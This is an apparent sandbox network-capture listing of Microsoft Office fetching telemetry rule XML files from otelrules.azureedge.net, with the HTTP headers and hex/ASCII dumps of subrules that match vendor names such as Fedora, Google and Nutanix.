Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:20 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 98e24ef8-f01e-0052-0940-3c9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164520Z-15b8b599d88qw29phC1TEB5zag000000034000000000ezf2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:20 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:20 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:20 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 5b8d3f05-a01e-006f-2465-3b13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164520Z-178bfbc474bp8mkvhC1NYCzqnn00000004fg00000000gzwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:20 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:22 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 9177d9ad-001e-0028-350e-3dc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164522Z-178bfbc474bwlrhlhC1NYCy3kg00000004p000000000ghu8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:22 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: fcdc764c-f01e-0052-4963-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164522Z-178bfbc474bbbqrhhC1NYCvw7400000004x0000000008dcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:22 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 1aaae978-201e-0096-4377-3bace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164522Z-174c587ffdf59vqchC1TEByk6800000003e0000000001wzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49808	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:22 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b6ecb1ee-501e-008f-3044-3c9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164523Z-15b8b599d88wk8w4hC1TEB14b8000000034000000000m8ap x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:23 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:22 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:23 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7fefabc9-101e-000b-0f11-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164523Z-178bfbc474bscnbchC1NYCe7eg00000004ug00000000dk41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:23 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164524Z-174c587ffdfdwxdvhC1TEB1c4n000000034g000000009haq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:24 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164524Z-174c587ffdfl22mzhC1TEBk40c000000037g00000000qp83 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:24 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 449238ea-501e-0029-7d7c-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164524Z-174c587ffdfb485jhC1TEBmc1s00000002x000000000q7vw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:25 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: abcc4943-b01e-00ab-2315-3ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164525Z-178bfbc474bxkclvhC1NYC69g400000004t0000000000g22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 16:45:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49814	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 16:45:25 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 16:45:25 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 16:45:25 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T164525Z-174c587ffdftjz9shC1TEBsh9800000002xg00000000sz48 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 16:45:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 